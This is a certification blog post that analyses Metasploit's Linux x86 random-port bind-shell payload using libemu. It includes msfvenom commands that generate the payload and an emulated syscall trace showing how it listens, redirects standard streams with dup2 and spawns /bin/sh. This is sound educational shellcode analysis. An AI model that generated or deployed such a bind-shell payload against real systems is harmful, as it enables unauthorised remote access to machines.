This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-885
Assignment number: 5.2
Github repo: https://github.com/abatchy17/SLAE


In the second part of assignment 5 in SLAE, I’ll be analyzing the linux/x86/shell_bind_tcp_random_port module using Libemu.

1. Setting payload parameters

First let’s check the options for this module.

[email protected]:~/Desktop/libemu/tools/sctest# msfvenom -p linux/x86/shell_bind_tcp_random_port --payload-options  
Options for payload/linux/x86/shell_bind_tcp_random_port:  
  
  
       Name: Linux Command Shell, Bind TCP Random Port Inline  
     Module: payload/linux/x86/shell_bind_tcp_random_port  
   Platform: Linux  
       Arch: x86  
Needs Admin: No  
 Total size: 57  
       Rank: Normal  
  
Provided by:  
    Geyslan G. Bem <[email protected]>  
  
Description:  
  Listen for a connection in a random port and spawn a command shell.   
  Use nmap to discover the open port: 'nmap -sS target -p-'.  

I skipped over the advanced settings as they won’t be discussed in this post. Lucky for us, this payload doesn’t require any options as it will bind to the local IP and choose a port randomly (you’ll use nmap to find that port).


2. Analyzing payload with libemu

After you install libemu (you might need to install a few packages like autoconf and libtool) let’s pipe the raw output to ScTest (Iterate 1000 times with verbose output).

[email protected]:~/Desktop/libemu/tools/sctest# msfvenom -p linux/x86/shell_bind_tcp_random_port -f raw | ./sctest -vvv -Ss 10000  
verbose = 3  
No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
No Arch selected, selecting Arch: x86 from the payload  
No encoder or badchars specified, outputting raw payload  
Payload size: 57 bytes  
int socket (  
     int domain = 2;  
     int type = 1;  
     int protocol = 0;  
) =  14;  
int listen (  
     int s = 14;  
     int backlog = 0;  
) =  0;  
int accept (  
     int sockfd = 14;  
     sockaddr_in * addr = 0x00000000 =>   
         none;  
     int addrlen = 0x00000002 =>   
         none;  
) =  19;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 14;  
) =  14;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 13;  
) =  13;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 12;  
) =  12;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 11;  
) =  11;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 10;  
) =  10;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 9;  
) =  9;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 8;  
) =  8;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 7;  
) =  7;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 6;  
) =  6;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 5;  
) =  5;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 4;  
) =  4;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 3;  
) =  3;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 2;  
) =  2;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 1;  
) =  1;  
int dup2 (  
     int oldfd = 19;  
     int newfd = 0;  
) =  0;  
int execve (  
     const char * dateiname = 0x00416fb6 =>   
           = "/bin//sh";  
     const char * argv[] = [  
           = 0xffffffff =>   
             none;  
     ];  
     const char * envp[] = 0x00000000 =>   
         none;  
) =  0;  

Lots of debug info, but let’s focus on the syscalls being made. To make it easier, sctest allows us to create a visual representation of the flow.

[email protected]:~/Desktop/libemu/tools/sctest# msfvenom -p linux/x86/shell_bind_tcp_random_port -f raw | ./sctest -vvv -Ss 10000 -G tcp_random_port.dot  
  
.. redacted..  
  
[email protected]:~/Desktop/libemu/tools/sctest# ls  
dot.c        Makefile.in  sctest          sctest-sctestmain.o  tests.c  
dot.h        nanny.c      sctest-dot.o    sctest-tests.o       tests.h  
Makefile     nanny.h      sctestmain.c    sctest-userhooks.o   userhooks.c  
Makefile.am  options.h    sctest-nanny.o  tcp_random_port.dot  userhooks.h  
[email protected]:~/Desktop/libemu/tools/sctest# dot tcp_random_port.dot -T png > tcp_random_port.png  


1. socket()

int socket (  
     int domain = 2;  
     int type = 1;  
     int protocol = 0;  
) =  14;  

Same call we made for both bind and reverse shell previously, creating a socket that supports TCP communication, sockfd returned is 14.

2. listen()

int listen (  
     int s = 14;  
     int backlog = 0;  
) =  0;  

Next, it starts a listener for incoming connections on sockfd. Note: bind() is not required and a random port is picked. Instead you’ll need to scan the host for open ports. More info here: http://stackoverflow.com/questions/12763268/why-is-bind-used-in-tcp-why-is-it-used-only-on-server-side-and-not-in-client


3. accept()

int accept (  
     int sockfd = 14;  
     sockaddr_in * addr = 0x00000000 =>   
         none;  
     int addrlen = 0x00000002 =>   
         none;  
) =  19;  

When there’s an incoming connection on the socket created earlier, accept it without storing the client data sockaddr_in. New sockfd is 19.


4. dup2()

Next, the traffic is redirected to the newly created socket (19) by calling dup2(), which will duplicate the STDIN,STDOUT and STDERR to the socket. Notice that there’s a loop using ECX as an index, ECX’s value is pulled from the latest value pushed onto stack.

After accept(), there’s a POP ECX command, which will now contain the value last pushed into stack. If you scroll up you’ll find that it was a PUSH EAX.
EAX contains sockfd returned from socket(). This allows us to use a small number without worrying too much about looping too much.

Of course, this logic any error check, but you don’t have that luxury while shellcoding.


5. execve()

This part is simple, it’s simply calls a /bin/sh shell.

- Abatchy